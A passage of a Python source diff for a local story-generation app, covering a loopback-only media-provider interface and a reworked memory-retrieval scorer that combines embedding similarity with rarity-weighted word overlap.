surface with no v1 use, and the safe default for a surface nobody needs yet
|
||||
is the narrowest one. A future milestone may widen it, explicitly and off by
|
||||
default, which is what §27 requires of any such change.
|
||||
"""
|
||||
reason = endpoints.rejection_reason(url)
|
||||
if reason is not None:
|
||||
return reason
|
||||
if not endpoints.is_loopback(url):
|
||||
return (
|
||||
"A media provider endpoint must be on this machine. "
|
||||
f"{url!r} resolves somewhere else — media generation has no "
|
||||
"trusted-LAN mode, and adding one would be an explicit, "
|
||||
"off-by-default change rather than a setting."
|
||||
)
|
||||
return None
|
||||
|
||||
|
||||
def check_endpoint(url: str) -> None:
|
||||
"""Raises `EndpointRejected` unless `url` is an allowed media endpoint."""
|
||||
reason = endpoint_rejection_reason(url)
|
||||
if reason is not None:
|
||||
raise EndpointRejected(reason)
|
||||
|
||||
|
||||
# ----------------------------------------------------------------- the types
|
||||
|
||||
@dataclass(frozen=True)
|
||||
class ProviderCapabilities:
|
||||
"""What one provider can do, in neutral terms.
|
||||
|
||||
Deliberately small. `MEDIA-EXTENSION-CONTRACT.md` §25 shows a richer example
|
||||
— seeds, reference images, inpainting — and M10 does not model those,
|
||||
because every one of them is a guess until a provider exists to be asked.
|
||||
What is here is what a coordinator would need in order to choose *whether*
|
||||
to route to this provider at all; anything finer belongs to the adapter and
|
||||
its own capability document.
|
||||
"""
|
||||
|
||||
provider_id: str
|
||||
kinds: tuple[str, ...] = ()
|
||||
#: Free-form, provider-owned, and never interpreted by story code. It exists
|
||||
#: so an adapter can advertise what it supports without this module growing
|
||||
#: a field per feature the ecosystem invents.
|
||||
details: dict = field(default_factory=dict)
|
||||
|
||||
def supports(self, kind: str) -> bool:
|
||||
return kind in self.kinds
|
||||
|
||||
|
||||
@dataclass(frozen=True)
|
||||
class MediaRequest:
|
||||
"""What a coordinator would hand a provider: a scene, a kind, and hints.
|
||||
|
||||
`scene` is a Scene Packet (`packet.build`) — a bounded description of one
|
||||
accepted scene, not the transcript. That is the whole point of the packet
|
||||
existing (`MEDIA-EXTENSION-CONTRACT.md` §12): a provider is given what it
|
||||
needs to depict a moment and no more, which bounds prompt size, keeps
|
||||
providers interchangeable, and means swapping one does not hand a new
|
||||
process the campaign's history.
|
||||
|
||||
`hints` is provider-neutral and optional — an aspect ratio, a duration, a
|
||||
count. It is **not** where a workflow graph or a sampler setting goes; those
|
||||
belong to the adapter, which knows what it is talking to.
|
||||
"""
|
||||
|
||||
kind: str
|
||||
scene: dict
|
||||
hints: dict = field(default_factory=dict)
|
||||
|
||||
def __post_init__(self):
|
||||
if not is_media_kind(self.kind):
|
||||
raise ValueError(
|
||||
f"{self.kind!r} is not one of {', '.join(MEDIA_KINDS)}"
|
||||
)
|
||||
|
||||
|
||||
@dataclass(frozen=True)
|
||||
class MediaResult:
|
||||
"""What a provider hands back: a depiction, and where it came from.
|
||||
|
||||
Bytes *or* a path, never both, and the caller says which it wanted. Neither
|
||||
is interpreted here; M10 registers no provider, so nothing constructs one of
|
||||
these outside a test.
|
||||
|
||||
`provenance` carries the scene identity the request named, so that a future
|
||||
asset can always be traced to the accepted position it depicts
|
||||
(`MEDIA-EXTENSION-CONTRACT.md` §48). It is a record of what was asked for —
|
||||
it does not make the depiction true.
|
||||
"""
|
||||
|
||||
kind: str
|
||||
media_type: str
|
||||
provenance: dict = field(default_factory=dict)
|
||||
data: bytes | None = None
|
||||
path: str | None = None
|
||||
details: dict = field(default_factory=dict)
|
||||
|
||||
|
||||
@dataclass(frozen=True)
|
||||
class DraftTranscription:
|
||||
"""STT's answer, and deliberately not a `MediaResult`.
|
||||
|
||||
See the module docstring. This is **draft user input**: text the reader is
|
||||
expected to read, correct and submit themselves. It is not an accepted turn,
|
||||
not a state event, not canon, and it has no route into the story that the
|
||||
reader's own typing does not also take.
|
||||
|
||||
`editable` is `True` and there is no constructor that sets it otherwise —
|
||||
it is a statement about what this type *is* rather than a setting, and a
|
||||
reader that finds it false has been handed something that is not a draft.
|
||||
"""
|
||||
|
||||
text: str
|
||||
editable: bool = True
|
||||
confidence: float | None = None
|
||||
details: dict = field(default_factory=dict)
|
||||
|
||||
|
||||
# ------------------------------------------------------------- the protocols
|
||||
|
||||
@runtime_checkable
|
||||
class MediaProvider(Protocol):
|
||||
"""Anything that can depict an accepted scene.
|
||||
|
||||
One protocol covers image, video and audio because the boundary is the same
|
||||
for all three: a bounded scene in, a depiction out, nothing written to the
|
||||
story. What differs between them is entirely inside the adapter.
|
||||
"""
|
||||
|
||||
def capabilities(self) -> ProviderCapabilities: ...
|
||||
|
||||
async def generate(self, request: MediaRequest) -> MediaResult: ...
|
||||
|
||||
|
||||
@runtime_checkable
|
||||
class SpeechProvider(Protocol):
|
||||
"""Text to speech: still a depiction, of prose the story already accepted."""
|
||||
|
||||
def capabilities(self) -> ProviderCapabilities: ...
|
||||
|
||||
async def speak(self, text: str, hints: dict | None = None) -> MediaResult: ...
|
||||
|
||||
|
||||
@runtime_checkable
|
||||
class TranscriptionProvider(Protocol):
|
||||
"""Speech to text, which runs the other way and returns a draft.
|
||||
|
||||
The signature is the asymmetry: it takes audio and returns
|
||||
`DraftTranscription`, so no coordinator can hand its output to something
|
||||
expecting a finished artefact, and nothing can mistake it for an accepted
|
||||
turn.
|
||||
"""
|
||||
|
||||
def capabilities(self) -> ProviderCapabilities: ...
|
||||
|
||||
async def transcribe(
|
||||
self, audio: bytes, hints: dict | None = None
|
||||
) -> DraftTranscription: ...
|
||||
|
||||
|
||||
# -------------------------------------------------------------- the registry
|
||||
|
||||
#: Registered providers, by id. **Empty, and empty on purpose.**
|
||||
#:
|
||||
#: M10 ships no provider, so nothing is registered at import, nothing is
|
||||
#: required at startup, and no configuration is read. `test_m10_no_media.py`
|
||||
#: asserts this is empty after the application has been imported and a campaign
|
||||
#: has been played — media readiness has to be inert until something explicitly
|
||||
#: uses it.
|
||||
_REGISTRY: dict[str, object] = {}
|
||||
|
||||
|
||||
def register(provider_id: str, provider: object) -> None:
|
||||
"""Makes a provider available to a future coordinator.
|
||||
|
||||
Exists to prove the claim in M10's Definition of Done — that a provider can
|
||||
be added *without modifying story authority or history* — by being the only
|
||||
thing an adapter has to call. Nothing in `app/routers`, `app/narrative`,
|
||||
`app/context` or `app/tree` imports this module, so registering one cannot
|
||||
reach them.
|
||||
"""
|
||||
if not isinstance(provider_id, str) or not provider_id.strip():
|
||||
raise ValueError("a provider needs an id")
|
||||
_REGISTRY[provider_id] = provider
|
||||
|
||||
|
||||
def unregister(provider_id: str) -> None:
|
||||
_REGISTRY.pop(provider_id, None)
|
||||
|
||||
|
||||
def registered() -> dict[str, object]:
|
||||
"""The registry, copied — callers must not mutate it in place."""
|
||||
return dict(_REGISTRY)
|
||||
|
||||
|
||||
def for_kind(kind: str) -> list[object]:
|
||||
"""Every registered provider advertising `kind`. Empty in v1."""
|
||||
out = []
|
||||
for provider in _REGISTRY.values():
|
||||
caps = getattr(provider, "capabilities", None)
|
||||
if caps is None:
|
||||
continue
|
||||
try:
|
||||
if caps().supports(kind):
|
||||
out.append(provider)
|
||||
except Exception: # noqa: BLE001 - a broken adapter is not this layer's
|
||||
continue
|
||||
return out
|
||||
+490
-91
@@ -17,9 +17,10 @@ database session. It does three things:
|
||||
then evicts the bank down to its capacity. Evicted memories are marked as
|
||||
forgotten and kept so that the UI can still show them.
|
||||
|
||||
When the app generates a turn, `retrieve_memories` embeds the recent story text
|
||||
and ranks the bank by cosine similarity. The highest-ranked memories become the
|
||||
Memories section of the context.
|
||||
When the app generates a turn, `retrieve_memories` embeds the player's input
|
||||
and the current scene, and ranks the bank by a fixed mix of cosine similarity
|
||||
and rarity-weighted word overlap with the input (v1.1 WP-B.2). The
|
||||
highest-ranked memories become the Memories section of the context.
|
||||
|
||||
Every AI call in this module is best-effort. A failure is logged to the debug
|
||||
page and retried on a later turn, because the cursors advance only after a call
|
||||
@@ -28,6 +29,7 @@ succeeds.
|
||||
|
||||
import asyncio
|
||||
import logging
|
||||
import math
|
||||
from array import array
|
||||
from collections import OrderedDict
|
||||
|
||||
@@ -36,6 +38,7 @@ from sqlalchemy.orm import Session, defer, object_session
|
||||
|
||||
from . import derived, models, summaries, tree, vectors
|
||||
from .context import (
|
||||
count_tokens,
|
||||
cursors,
|
||||
history,
|
||||
lineage,
|
||||
@@ -43,8 +46,11 @@ from .context import (
|
||||
story_actions,
|
||||
truncate_to_last_tokens,
|
||||
)
|
||||
from .context.builder import _encoding as _token_encoding
|
||||
from .database import SessionLocal
|
||||
from .knowledge import embeddings as knowledge_embeddings
|
||||
from .knowledge import fts
|
||||
from .narrative import model as narrative_model
|
||||
from .providers import OpenAICompatibleProvider, ProviderError
|
||||
from .vectors import cosine # re-exported: the ranking lives here, the maths there
|
||||
|
||||
@@ -55,10 +61,14 @@ MEMORY_START = 12 # first memory once the adventure reaches this many actions
|
||||
SUMMARY_INTERVAL = 15 # actions between Story Summary updates
|
||||
MAX_MEMORIES_PER_RUN = 5 # cap catch-up work (e.g. imported adventures) per turn
|
||||
MAX_EMBED_BATCH = 32
|
||||
RETRIEVAL_WINDOW_TOKENS = 600 # recent story text used as the similarity query
|
||||
RETRIEVAL_WINDOW_ACTIONS = 4 # ...taken from this many of the newest actions
|
||||
SUMMARY_MAX_WORDS = 250
|
||||
MEMORY_EXCERPT_TOKENS = 2000 # of the block, when a block is longer than this
|
||||
MEMORY_EXCERPT_TOKENS = 2000 # the most of a block the summariser is shown
|
||||
|
||||
# v1.1 WP-B.2: what stands between the two parts of a block too long to send
|
||||
# whole. It says a part is missing, so the summariser does not read the end as
|
||||
# following straight on from the opening, and `summarize_block` removes it from
|
||||
# anything the model repeats back.
|
||||
EXCERPT_OMISSION_MARKER = "[… the middle of this stretch of story is left out here …]"
|
||||
|
||||
# How much story has to sit past a block before that block is summarized.
|
||||
#
|
||||
@@ -278,9 +288,10 @@ def set_vector(memory: models.Memory, vector: list[float] | None) -> None:
|
||||
"""
|
||||
memory.embedding_blob = None if vector is None else vectors.pack(vector)
|
||||
memory.embedded = vector is not None
|
||||
cached = _vector_cache.get(memory.adventure_id)
|
||||
if cached is not None:
|
||||
cached.pop(memory.id, None)
|
||||
for cache in (_vector_cache, _terms_cache):
|
||||
cached = cache.get(memory.adventure_id)
|
||||
if cached is not None:
|
||||
cached.pop(memory.id, None)
|
||||
|
||||
|
||||
# ---------- The vector cache ----------
|
||||
@@ -309,6 +320,37 @@ _vector_cache: OrderedDict[int, dict[int, array]] = OrderedDict()
|
||||
VECTOR_CACHE_ADVENTURES = 8 # ~600 KB each at a 100-memory bank
|
||||
|
||||
|
||||
# v1.1 WP-B.2: each memory's lexical terms, held the same way and by the same
|
||||
# two rules as its vector. `set_vector` is also where a memory's text changes
|
||||
# (an edit clears the vector to re-embed it), so dropping the entry there covers
|
||||
# a rewritten text as well as a rewritten vector. Text is read only for memories
|
||||
# not already held, and only on a turn whose input has words to match.
|
||||
_terms_cache: OrderedDict[int, dict[int, frozenset[str]]] = OrderedDict()
|
||||
|
||||
|
||||
def _terms_for(db: Session, adventure_id: int, ids: list[int]) -> dict[int, frozenset[str]]:
|
||||
"""The lexical terms for `ids`, reading text only for the ones not already held."""
|
||||
cached = _terms_cache.get(adventure_id)
|
||||
if cached is None:
|
||||
cached = _terms_cache[adventure_id] = {}
|
||||
_terms_cache.move_to_end(adventure_id)
|
||||
while len(_terms_cache) > VECTOR_CACHE_ADVENTURES:
|
||||
_terms_cache.popitem(last=False)
|
||||
|
||||
wanted = set(ids)
|
||||
for gone in set(cached) - wanted:
|
||||
del cached[gone]
|
||||
missing = [memory_id for memory_id in ids if memory_id not in cached]
|
||||
if missing:
|
||||
rows = db.execute(
|
||||
select(models.Memory.id, models.Memory.text)
|
||||
.where(models.Memory.id.in_(missing))
|
||||
).all()
|
||||
for memory_id, text in rows:
|
||||
cached[memory_id] = lexical_terms(text or "")
|
||||
return cached
|
||||
|
||||
|
||||
def forget_cached_vectors(adventure_id: int) -> None:
|
||||
"""Drops an adventure's cached vectors.
|
||||
|
||||
@@ -316,6 +358,7 @@ def forget_cached_vectors(adventure_id: int) -> None:
|
||||
corrects itself, as described in the comment above.
|
||||
"""
|
||||
_vector_cache.pop(adventure_id, None)
|
||||
_terms_cache.pop(adventure_id, None)
|
||||
|
||||
|
||||
def _vectors_for(db: Session, adventure_id: int, ids: list[int]) -> dict[int, array]:
|
||||
@@ -535,25 +578,219 @@ def cast_brief(adventure: models.Adventure, text: str) -> str:
|
||||
|
||||
# ---------- Retrieval (runs inside the turn, before build_context) ----------
|
||||
|
||||
# v1.1 WP-B.2: what the retrieval query is made of, and how a memory is scored
|
||||
# against it (CONTEXT-AND-MEMORY §18, §20).
|
||||
#
|
||||
# WP-B.1 measured the v1.0.0 query, the newest four actions cut to 600 tokens,
|
||||
# against a planted early fact. The player's one-line question arrived after
|
||||
# three turns of narration, so the embedding mostly described the narration: a
|
||||
# direct question about the fact fell from cosine 0.708 on its own to 0.241 in
|
||||
# that query, and a real 100-turn campaign ranked the only memory of the fact
|
||||
# 10th of 19 against a `memory_top_k` of 4.
|
||||
#
|
||||
# The query is now two short texts, embedded in one call:
|
||||
#
|
||||
# input the player's own action this turn, when there is one
|
||||
# context the current scene from the authoritative state (summary, location,
|
||||
# who is present), then the end of the newest narration
|
||||
#
|
||||
# The context is still there because a question often cannot be read without
|
||||
# it ("I ask her where she hid it"), and §18 says retrieval must not rely on raw
|
||||
# input alone. It is bounded so it can resolve a reference but cannot outweigh
|
||||
# the question by sheer length.
|
||||
#
|
||||
# A memory's score is
|
||||
#
|
||||
# semantic_score = INPUT_WEIGHT * cos(input, memory)
|
||||
# + (1 - INPUT_WEIGHT) * cos(context, memory)
|
||||
# lexical_score = rarity-weighted share of the input's words the memory holds
|
||||
# final_score = semantic_score + LEXICAL_WEIGHT * lexical_score
|
||||
#
|
||||
# With no player input (a continue, or a dry run from Insights) the semantic
|
||||
# score is the context cosine alone and the lexical score is 0. Pins are
|
||||
# unchanged: a pinned memory is always used and counts toward `memory_top_k`.
|
||||
INPUT_TYPES = ("do", "say", "story") # player actions that carry words to search for
|
||||
QUERY_INPUT_TOKENS = 200 # of the player's action; a long `story` entry is cut
|
||||
QUERY_SCENE_TOKENS = 60 # of the state's scene line
|
||||
QUERY_NARRATION_TOKENS = 120 # from the end of the newest narration
|
||||
INPUT_WEIGHT = 0.6
|
||||
# Chosen by sweep (0, 0.05, 0.1, 0.15, 0.2, 0.3, 0.5) over the deterministic
|
||||
# ranking fixtures, recorded in the WP-B.2 report (§C, §D). The two-part query
|
||||
# alone already ranks the planting-era memory first; 0.15 is the smallest weight
|
||||
# at which the lexical term by itself also lifts it into `memory_top_k` against
|
||||
# the v1.0.0 narration-filled query, and no rare-word negative control put an
|
||||
# unrelated memory above it. At 0.5 an incidental shared word was enough to
|
||||
# select it for an unrelated question, which is the failure a larger weight buys.
|
||||
LEXICAL_WEIGHT = 0.15
|
||||
# `fts.terms` drops these already; the plural fold below is the only stemming.
|
||||
_MIN_FOLD_LENGTH = 5
|
||||
|
||||
|
||||
def _fold(word: str) -> str:
|
||||
"""One term, reduced so "shelves'" and "shelf" do not meet, but "teapots"
|
||||
and "teapot" do. Possessives lose their `'s`, and a trailing `s` goes from a
|
||||
word long enough to be a plural and not ending in `ss`. Deliberately no more
|
||||
than that: a stemmer is a dependency, and a wrong fold merges two words."""
|
||||
word = word.split("'", 1)[0]
|
||||
if len(word) >= _MIN_FOLD_LENGTH and word.endswith("s") and not word.endswith("ss"):
|
||||
word = word[:-1]
|
||||
return word
|
||||
|
||||
|
||||
def lexical_terms(text: str) -> frozenset[str]:
|
||||
"""The words of `text` that lexical matching compares, folded.
|
||||
|
||||
The tokenizer and stop list are imported knowledge's (`knowledge.fts`), so
|
||||
the two retrieval paths agree on what a word is.
|
||||
"""
|
||||
return frozenset(t for t in (_fold(w) for w in fts.terms(text)) if len(t) >= fts.MIN_TERM_LENGTH)
|
||||
|
||||
|
||||
def lexical_scores(input_terms: frozenset[str], terms_of: dict[int, frozenset[str]]) -> dict[int, float]:
|
||||
"""Each candidate's share of the input's rarity, in [0, 1].
|
||||
|
||||
A term's weight is `ln((N + 1) / (df + 1))`: N candidates, df of them holding
|
||||
it. A word every candidate holds weighs exactly 0, so a protagonist's name or
|
||||
a word the whole bank shares moves nothing, and a word no candidate holds
|
||||
weighs the most. The share is taken over **all** the input's terms, so a
|
||||
memory that happens to hold one rare word of a longer question gets that
|
||||
word's part of the question, not the whole of it. The weights live only for
|
||||
this call, over this candidate set: no index, no stored field.
|
||||
"""
|
||||
if not input_terms or not terms_of:
|
||||
return {memory_id: 0.0 for memory_id in terms_of}
|
||||
n = len(terms_of)
|
||||
weight = {
|
||||
term: math.log((n + 1) / (sum(1 for terms in terms_of.values() if term in terms) + 1))
|
||||
for term in input_terms
|
||||
}
|
||||
total = sum(weight.values())
|
||||
if total <= 0:
|
||||
return {memory_id: 0.0 for memory_id in terms_of}
|
||||
return {
|
||||
memory_id: min(1.0, sum(w for term, w in weight.items() if term in terms) / total)
|
||||
for memory_id, terms in terms_of.items()
|
||||
}
|
||||
|
||||
|
||||
def _scene_text(state) -> str:
|
||||
"""The scene as the authoritative state has it: summary, location, who is present.
|
||||
|
||||
Names only, read straight off the document. The full entity list is left
|
||||
out on purpose: a campaign with a large cast would turn every query into a
|
||||
search for everyone.
|
||||
"""
|
||||
if not isinstance(state, dict):
|
||||
return ""
|
||||
scene = state.get("scene")
|
||||
if not isinstance(scene, dict):
|
||||
return ""
|
||||
pieces: list[str] = []
|
||||
summary = scene.get("summary")
|
||||
if isinstance(summary, str) and summary.strip():
|
||||
pieces.append(summary.strip())
|
||||
location = scene.get("location")
|
||||
if isinstance(location, str) and location.strip():
|
||||
pieces.append(narrative_model.entity_name(state, location.strip()))
|
||||
present = scene.get("present")
|
||||
if isinstance(present, list):
|
||||
names = [narrative_model.entity_name(state, key) for key in present[:8]
|
||||
if isinstance(key, str) and key.strip()]
|
||||
if names:
|
||||
pieces.append(", ".join(names))
|
||||
return truncate_to_last_tokens(". ".join(pieces), QUERY_SCENE_TOKENS)
|
||||
|
||||
|
||||
def retrieval_query(adventure: models.Adventure, exclude_action_id: int | None = None) -> dict:
|
||||
"""The two texts a turn's memory retrieval embeds, and the words it matches.
|
||||
|
||||
Returns `{"input", "context", "input_terms"}`. `input` is empty when the
|
||||
newest action is not a player action with text, which is a continue turn or a
|
||||
dry run. `context` is empty only for a story with no scene and no narration.
|
||||
"""
|
||||
recent = history.tail(adventure, 2, exclude_action_id)
|
||||
newest = recent[-1] if recent else None
|
||||
player_input = ""
|
||||
if newest is not None and newest.type in INPUT_TYPES:
|
||||
player_input = truncate_to_last_tokens(newest.text.strip(), QUERY_INPUT_TOKENS)
|
||||
narration = recent[0].text if len(recent) > 1 else ""
|
||||
else:
|
||||
narration = newest.text if newest is not None else ""
|
||||
context = "\n".join(part for part in (
|
||||
_scene_text(adventure.narrative_state),
|
||||
truncate_to_last_tokens(narration.strip(), QUERY_NARRATION_TOKENS),
|
||||
) if part.strip())
|
||||
return {
|
||||
"input": player_input,
|
||||
"context": context,
|
||||
"input_terms": sorted(lexical_terms(player_input)),
|
||||
}
|
||||
|
||||
|
||||
def score_candidates(
|
||||
ids: list[int],
|
||||
held: dict,
|
||||
terms_of: dict[int, frozenset[str]],
|
||||
input_vec,
|
||||
context_vec,
|
||||
input_terms,
|
||||
) -> list[tuple[float, int, float, float]]:
|
||||
"""`(final_score, memory_id, semantic_score, lexical_score)`, best first.
|
||||
|
||||
Ties on the final score are broken by id, so the order never depends on the
|
||||
order the database returned rows in.
|
||||
"""
|
||||
lexical = lexical_scores(frozenset(input_terms), {i: terms_of.get(i, frozenset()) for i in ids})
|
||||
rows = []
|
||||
for memory_id in ids:
|
||||
vector = held[memory_id]
|
||||
if input_vec is not None and context_vec is not None:
|
||||
semantic = (INPUT_WEIGHT * cosine(input_vec, vector)
|
||||
+ (1.0 - INPUT_WEIGHT) * cosine(context_vec, vector))
|
||||
else:
|
||||
semantic = cosine(input_vec if input_vec is not None else context_vec, vector)
|
||||
lex = lexical.get(memory_id, 0.0)
|
||||
rows.append((semantic + LEXICAL_WEIGHT * lex, memory_id, semantic, lex))
|
||||
rows.sort(key=lambda row: (-row[0], row[1]))
|
||||
return rows
|
||||
|
||||
|
||||
def select_memories(scored, pinned_of, held, authority_of, top_k):
|
||||
"""Pins first, then the best-scoring rest, skipping repeats (§22).
|
||||
|
||||
Returns `(used, suppressed)`. `used` is `(final_score, memory_id, pinned)`
|
||||
rows, best first.
|
||||
"""
|
||||
rows = [(final, memory_id, pinned_of[memory_id]) for final, memory_id, _, _ in scored]
|
||||
used = [row for row in rows if row[2]]
|
||||
remaining = max(0, top_k - len(used))
|
||||
candidates = [row for row in rows if not row[2]]
|
||||
kept, suppressed = _drop_redundant(candidates, held, authority_of, remaining)
|
||||
used += kept
|
||||
used.sort(key=lambda row: (-row[0], row[1]))
|
||||
return used, suppressed
|
||||
|
||||
|
||||
async def retrieve_memories(
|
||||
adventure: models.Adventure,
|
||||
settings: models.Settings,
|
||||
*,
|
||||
update_stats: bool,
|
||||
exclude_action_id: int | None = None,
|
||||
) -> dict | None:
|
||||
"""Returns the memories to inject, or None when the bank is off.
|
||||
|
||||
The result is a dict of the form
|
||||
`{"used": [{id, text, similarity, pinned}], "error": str | None}`. It is
|
||||
None when the memory bank is disabled for this adventure.
|
||||
`{"used": [{id, text, similarity, semantic_score, lexical_score,
|
||||
final_score, pinned, authority, source}], "query": {...}, "error": str | None}`.
|
||||
`similarity` is the semantic score, under the name the inspector has always
|
||||
shown. It is None when the memory bank is disabled for this adventure.
|
||||
|
||||
Set `update_stats` to True to increment the use counters. Only real turns
|
||||
should do this, not the dry runs that Insights performs.
|
||||
This only reads. A turn counts the memories it used with `record_use`, just
|
||||
before the commit that saves the turn; see that function for why the count
|
||||
cannot be written here.
|
||||
|
||||
`exclude_action_id` removes the action being retried from the similarity
|
||||
query, so that a discarded attempt cannot influence which memories are
|
||||
returned.
|
||||
`exclude_action_id` removes the action being retried from the query, so that
|
||||
a discarded attempt cannot influence which memories are returned.
|
||||
"""
|
||||
if not adventure.memory_bank_enabled:
|
||||
return None
|
||||
@@ -585,39 +822,33 @@ async def retrieve_memories(
|
||||
if not catalogue:
|
||||
return {"used": [], "error": None}
|
||||
|
||||
recent = history.tail(adventure, RETRIEVAL_WINDOW_ACTIONS, exclude_action_id)
|
||||
query = truncate_to_last_tokens(
|
||||
"\n\n".join(a.text for a in recent), RETRIEVAL_WINDOW_TOKENS
|
||||
)
|
||||
if not query.strip():
|
||||
query = retrieval_query(adventure, exclude_action_id)
|
||||
texts = [t for t in (query["input"], query["context"]) if t.strip()]
|
||||
if not texts:
|
||||
return {"used": [], "error": None}
|
||||
|
||||
try:
|
||||
[query_vec] = await embedding_provider(settings).embed([query])
|
||||
embedded = await embedding_provider(settings).embed(texts)
|
||||
except ProviderError as exc:
|
||||
return {"used": [], "error": str(exc)}
|
||||
vectors_by_text = dict(zip(texts, embedded))
|
||||
input_vec = vectors_by_text.get(query["input"]) if query["input"].strip() else None
|
||||
context_vec = vectors_by_text.get(query["context"]) if query["context"].strip() else None
|
||||
|
||||
held = _vectors_for(db, adventure.id, [memory_id for memory_id, _, _ in catalogue])
|
||||
ids = [memory_id for memory_id, _, _ in catalogue]
|
||||
held = _vectors_for(db, adventure.id, ids)
|
||||
# Memory text is read only when there are input words to match against, and
|
||||
# then only for memories not already held (see `_terms_for`).
|
||||
terms_of = _terms_for(db, adventure.id, ids) if query["input_terms"] else {}
|
||||
authority_of = {memory_id: authority for memory_id, _, authority in catalogue}
|
||||
scored = sorted(
|
||||
(
|
||||
(cosine(query_vec, held[memory_id]), memory_id, pinned)
|
||||
for memory_id, pinned, _ in catalogue
|
||||
if memory_id in held
|
||||
),
|
||||
key=lambda row: row[0],
|
||||
reverse=True,
|
||||
pinned_of = {memory_id: pinned for memory_id, pinned, _ in catalogue}
|
||||
scored = score_candidates(
|
||||
[memory_id for memory_id in ids if memory_id in held],
|
||||
held, terms_of, input_vec, context_vec, query["input_terms"],
|
||||
)
|
||||
# Pinned memories are always used, and they count toward `top_k`, so the
|
||||
# injected set stays within the budget unless the pinned memories alone
|
||||
# exceed it.
|
||||
top_k = max(1, settings.memory_top_k)
|
||||
used = [row for row in scored if row[2]]
|
||||
remaining = max(0, top_k - len(used))
|
||||
candidates = [row for row in scored if not row[2]]
|
||||
kept, suppressed = _drop_redundant(candidates, held, authority_of, remaining)
|
||||
used += kept
|
||||
used.sort(key=lambda row: row[0], reverse=True)
|
||||
components = {memory_id: (semantic, lex) for _, memory_id, semantic, lex in scored}
|
||||
used, suppressed = select_memories(
|
||||
scored, pinned_of, held, authority_of, max(1, settings.memory_top_k))
|
||||
if not used:
|
||||
return {"used": [], "error": None}
|
||||
|
||||
@@ -638,26 +869,19 @@ async def retrieve_memories(
|
||||
).where(models.Memory.id.in_(used_ids))
|
||||
).all()
|
||||
}
|
||||
texts = {memory_id: row.text for memory_id, row in detail.items()}
|
||||
|
||||
if update_stats:
|
||||
# Pass `synchronize_session=False` because nothing in this request
|
||||
# reads the counters back. Matching the UPDATE against loaded objects
|
||||
# would require loading those objects, which is the cost this code path
|
||||
# exists to avoid.
|
||||
db.execute(
|
||||
update(models.Memory)
|
||||
.where(models.Memory.id.in_(used_ids))
|
||||
.values(use_count=models.Memory.use_count + 1, last_used_at=models.utcnow())
|
||||
.execution_options(synchronize_session=False)
|
||||
)
|
||||
texts_of = {memory_id: row.text for memory_id, row in detail.items()}
|
||||
|
||||
return {
|
||||
"used": [
|
||||
{
|
||||
"id": memory_id,
|
||||
"text": texts.get(memory_id, ""),
|
||||
"similarity": round(score, 4),
|
||||
"text": texts_of.get(memory_id, ""),
|
||||
"similarity": round(components[memory_id][0], 4),
|
||||
# v1.1 WP-B.2: the parts of the score, so an inspector can see
|
||||
# why this memory beat the ones below it.
|
||||
"semantic_score": round(components[memory_id][0], 4),
|
||||
"lexical_score": round(components[memory_id][1], 4),
|
||||
"final_score": round(final, 4),
|
||||
"pinned": pinned,
|
||||
# M6: what weight this carries, and where it came from.
|
||||
"authority": getattr(detail.get(memory_id), "authority", ACCEPTED_STORY),
|
||||
@@ -668,7 +892,7 @@ async def retrieve_memories(
|
||||
"source_end": getattr(detail.get(memory_id), "source_end", None),
|
||||
},
|
||||
}
|
||||
for score, memory_id, pinned in used
|
||||
for final, memory_id, pinned in used
|
||||
],
|
||||
"considered": len(catalogue),
|
||||
# M6: how many candidates were set aside as repeating one already
|
||||
@@ -677,10 +901,51 @@ async def retrieve_memories(
|
||||
{"id": memory_id, "duplicate_of": kept_id}
|
||||
for memory_id, kept_id in suppressed
|
||||
],
|
||||
# v1.1 WP-B.2: what was searched for. Recorded per turn, like the rest.
|
||||
"query": {
|
||||
"input": query["input"],
|
||||
"context": query["context"],
|
||||
"input_terms": query["input_terms"],
|
||||
"input_weight": INPUT_WEIGHT if input_vec is not None and context_vec is not None
|
||||
else (1.0 if input_vec is not None else 0.0),
|
||||
"lexical_weight": LEXICAL_WEIGHT,
|
||||
},
|
||||
"error": None,
|
||||
}
|
||||
|
||||
|
||||
def record_use(db: Session, memory_bank: dict | None) -> None:
|
||||
"""Counts the memories a turn was given, as part of that turn's commit.
|
||||
|
||||
Call this immediately before the commit that saves the turn, and never
|
||||
before the model call. This counter used to be written during retrieval, and
|
||||
the UPDATE opened a write transaction that stayed open for the whole reply,
|
||||
because the turn commits only once the narration has streamed. SQLite has
|
||||
one writer. Every post-turn memory, summary and status write that arrived
|
||||
during the reply waited out the driver's five-second timeout and failed with
|
||||
`database is locked`. Recording those failures also needs a write, so it
|
||||
failed the same way, and derived status kept reporting `idle`. A 26-turn
|
||||
run on a GPU host wrote two memories and no summary while every turn was
|
||||
accepted.
|
||||
|
||||
Only real turns count, never Insights' dry runs. A turn that fails before
|
||||
its commit counts nothing, because nothing was used.
|
||||
|
||||
Pass `synchronize_session=False` because nothing in this request reads the
|
||||
counters back. Matching the UPDATE against loaded objects would require
|
||||
loading those objects, which is the cost this code path exists to avoid.
|
||||
"""
|
||||
used_ids = [m["id"] for m in (memory_bank or {}).get("used") or []]
|
||||
if not used_ids:
|
||||
return
|
||||
db.execute(
|
||||
update(models.Memory)
|
||||
.where(models.Memory.id.in_(used_ids))
|
||||
.values(use_count=models.Memory.use_count + 1, last_used_at=models.utcnow())
|
||||
.execution_options(synchronize_session=False)
|
||||
)
|
||||
|
||||
|
||||
# ---------- Post-turn background work ----------
|
||||
|
||||
def schedule_post_turn(adventure: models.Adventure) -> None:
|
||||
@@ -768,6 +1033,11 @@ async def run_post_turn(adventure_id: int) -> None:
|
||||
# setup above, or in eviction. M2's lesson is that the one thing this
|
||||
# may not do is vanish. Re-raising would only feed an unobserved task.
|
||||
try:
|
||||
# Roll back first. The failure is often a flush or commit that
|
||||
# failed, which leaves the session unusable until it is rolled
|
||||
# back, and the record then fails with `PendingRollbackError`
|
||||
# instead of being written. `_guarded` already does this.
|
||||
db.rollback()
|
||||
derived.failed(db, adventure_id, derived.MEMORY, exc)
|
||||
db.commit()
|
||||
except BaseException: # noqa: BLE001 - the recorder must not mask it
|
||||
@@ -797,6 +1067,61 @@ async def _guarded(db: Session, adventure_id: int, kind: str, coro) -> None:
|
||||
db.commit()
|
||||
|
||||
|
||||
def _excerpt_encoding():
|
||||
return _token_encoding()
|
||||
|
||||
|
||||
def excerpt_split(budget: int = MEMORY_EXCERPT_TOKENS) -> tuple[int, int]:
|
||||
"""`(head_tokens, tail_tokens)` for a block longer than `budget`.
|
||||
|
||||
The marker and the blank lines around it are paid for first; what is left is
|
||||
halved, and an odd token goes to the tail, the most recent part. So the two
|
||||
